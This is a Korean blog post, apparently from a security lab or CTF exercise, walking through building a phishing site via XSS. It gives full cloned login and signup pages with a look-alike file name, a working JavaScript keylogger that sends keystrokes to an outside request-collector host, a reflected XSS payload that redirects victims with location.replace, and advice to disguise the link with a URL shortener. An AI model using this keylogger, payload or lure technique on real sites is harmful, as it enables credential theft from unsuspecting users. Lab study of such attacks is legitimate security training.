본문 바로가기

보안지식/XSS

XSS 실습 - 피싱 사이트

안녕하세요 저번에 이어서 한 번 피싱 사이트를 만들어 보겠습니다.

 

일단 피싱 사이트을 만들면 되겠죠?

 

그럴싸하게 저희가 들어가는 페이지랑 이름 비슷하게 만들겠습니다.

 

xss_7 폴더에 logIn.html을 만들겠습니다.

 

이렇게요

 

그다음에 이제 로그인 페이지에 있는 html코드를 복사 붙여 넣기 하겠습니다.

우클릭 후 페이지 소스 코드 보기 누르시면 돼요

 

그리고 난 뒤에 base 태그 한 줄 추가해서 디자인을 정말 비슷하게 만들겠습니다.

 

<base href="http://ctf.segfaulthub.com:4343/xss_7/login.html">

 

그리고 로그인을 누르면 실제로 그 사이트에 로그인 되게 만들겠습니다.

 

실제 사이트에 로그인을 해서 아이디와 비번을 검증하는 페이지에 보내면 되겠죠

 

이 요청페이지

 

이 링크를 가져오겠습니다. 우클릭 후 Copy URL

 

그리고 제가 만든 피싱사이트에 form 태그에 있는 login.php이 아닌 이 URL로 바꾸겠습니다.

 

 

 

 

회원가입도 피싱 사이트를 제작하겠습니다.

sIgnup.html을 만들고 위와 같이 페이지 소스 복붙 하고 base 태그로 추가작성하면 되겠죠

 

그다음에 회원가입 버튼을 누르면 실제 사이트에 회원가입 되게 URL을 가져오겠습니다.

실제 사이트에 아무 아이디로 만들면 되겠죠!

 

 

이 요청에 URL을 가져옵니다.

 

그리고 난 뒤에 피싱 사이트에 입력한 값들이 제 서버에 보내지도록 스크립트을 작성 하겠습니다!

 

저만의 서버가 없기에 Requestbin을 통해 받도록 하겠습니다.

 

https://public.requestbin.com/r

 

RequestBin.com — A modern request bin to collect, inspect and debug HTTP requests and webhooks

 

public.requestbin.com

--임의로 서버를 할당해줘서 서버로 오는 응답을 전부 보여 줍니다.

 

그리고 키로거 코드에 서버로 오게 했습니다.

 

-keylogger 코드

    <script>
        var keys = "";
        var hackUrl = 'https://en4rpqv48x3qc.x.pipedream.net?c='

        document.onkeypress = function(e) {
            get = window.event?event:e;
            key = get.keyCode?get.keyCode:get.charCode;
            key = String.fromCharCode(key);
            keys+=key;
        }

        window.setInterval(function(){
            if(keys != '') {
                new Image().src = hackUrl + keys;
                keys = '';
            }
        }, 200);
    </script>

 

맨 처음에 hackurl에 자신의 서버을 작성하시면 됩니다. 그리고 GET방식으로 값을 받기 위해 ?c= 이렇게 했습니다.

 

좋아요! 그럼 이제 피싱 사이트가 준비 끝인 겁니다. 물론 키로거를 피싱사이트 회원가입에 삽입해도 됩니다.

저는 로그인 부분에만 넣었습니다. 왜냐하면 로그인이 되면 회원가입도 되겠죠 뭐..

 

어쨌든 제가 만든 피싱 사이트 코드입니다.

 

참고로 이름 비슷하게 보이기 위해 i을 l(소문자 L) 했습니다.

 

 

 

-xss_7/logln.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <base href="http://ctf.segfaulthub.com:4343/xss_7/login.html">
    <link href="./css/style.css"  rel = "stylesheet"/>
    <title>Webpage</title>
</head>
<body>
    <div class = "wrapper">
        <div id = "login-form">
            <div class = "head">Log In</div>
            <form action = "http://ctf.segfaulthub.com:4343/xss_7/login.php" method = "post">
                <div class = "hori">
                    <i class="far fa-user fa-2x"></i>
                    <input name = "id" type = "text" placeholder="Email" id = "login-id" />
                </div>
                <div class = "hori">
                    <i class="fas fa-lock fa-2x"></i>
                    <input name = "pw" type = "password" placeholder="Password" id = "login-pw" />
                </div>
                <div class = "hori"><input type = "submit" value = "Log In" id = "login-btn" /></div>
            </form>
            <button id = "signup-btn" onclick = "location.href = 'http://localhost/xss_7/slgnup.html'">Sign up</button>
        </div>
    </div>
    <script
        src="https://kit.fontawesome.com/6478f529f2.js"
        crossorigin="anonymous"
    ></script>
    <script>
        var keys = "";
        var hackUrl = 'https://en4rpqv48x3qc.x.pipedream.net?c='

        document.onkeypress = function(e) {
            get = window.event?event:e;
            key = get.keyCode?get.keyCode:get.charCode;
            key = String.fromCharCode(key);
            keys+=key;
        }

        window.setInterval(function(){
            if(keys != '') {
                new Image().src = hackUrl + keys;
                keys = '';
            }
        }, 800);
    </script>
</body>
</html>

 

 

 

 

-xss_7/slgnup.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <base href="http://ctf.segfaulthub.com:4343/xss_7/signup.html">
    <link href="./css/style.css"  rel = "stylesheet"/>
    <title>Sign Up</title>
</head>
<body>
    <div class = "wrapper">
        <div id = "login-form">
            <div class = "head">Sign Up</div>
            <form method = "post" action = "http://ctf.segfaulthub.com:4343/xss_7/signup.php">
                <div class = "hori">
                    <i class="far fa-user fa-2x"></i>
                    <input name = "signupid" type = "text" placeholder="ID" id = "login-id" />
                </div>
                <div class = "hori">
                    <i class="fas fa-lock fa-2x"></i>
                    <input name = "signuppw" type = "password" placeholder="Password" id = "login-pw" />
                </div>
                <div class = "hori"><input type = "submit" value = "Sign Up" id = "signup-btnl" /></div>
            </form>
        </div>
    </div>
    <script
        src="https://kit.fontawesome.com/6478f529f2.js"
        crossorigin="anonymous"
    ></script>
</body>
</html>

 

 

그리고 저희가 저번에 아이디에 xss 공격한 것을 응용해서 아이디에 이 페이지 주소를 넣겠습니다.

 

ID : </script><script>location.replace("http://localhost/xss_7/logln.html");</script><!--

 

이렇게 해서 회원가입을 하고 일부러 틀리게 로그인을 하겠습니다.

 

왜냐하면 이 사이트는 일부러 틀리게 로그인을 하면 

 

alert문

 

alert문으로 그대로 ID가 나옵니다.

이걸 이용해서 저 ID대로 입력을 하고 틀리면

 

 

이렇게 앞에 alert문은 문법이 틀려서 안 나오고 대신 뒤에 location.replace 덕분에 링크 따라 제 피싱 사이트에 들어가지게 됩니다!

 

그럼 POST가 아닌 GET방식으로 바꿔서 보내도 되는 것은 전 포스팅에 확인했으니

GET으로 바꾸고 링크 생성하겠습니다.

 

http://ctf.segfaulthub.com:4343/xss_7/login.php?id=</script><script>location.replace("http://localhost/xss_7/logln.html");</script><!--&pw=1

 

제가 저만의 서버가 없어서 일단 localhost에 있는 서버로 실험을 한 거예요 만약 자신만의 서버가 있으시다면

localhost 말고 그 서버를 연결하면 되겠죠.

 

물론 이 링크는 너무 의심되니 short url을 해서 낚으시면 됩니다.

 

 

어쨌든 저 링크대로 들어가게 되면?

 

비슷하지만..

 

 

주소 자세히 보면 본래의 주소랑 다른 것을 알 수가 있죠?

그리고 만약 사용자가 뭣도 모르고 로그인을 한다고 합시다.

 

로그인!

 

 

로그인을 하니 원래 사이트에 가졌습니다. 하지만 저희는 로그인 페이지에 키로거를 넣은 피싱 사이트였잖아요?

 

공격자 서버를 봐보시면

 

 

이렇게 키로거 덕분에 저희는 피해자가 뭘 입력했는지 알 수 있습니다. 저 서버는 너무 끊겨서 나오실 거예요

 

만약 자신 서버에 차례대로 입력되게 하면 더욱 깔끔하게 저장이 가능하겠죠?

 

 

오늘은 이렇게 해서 피싱 사이트를 만들어 보고 키로거도 심어서 해봤습니다.

 

감사합니다.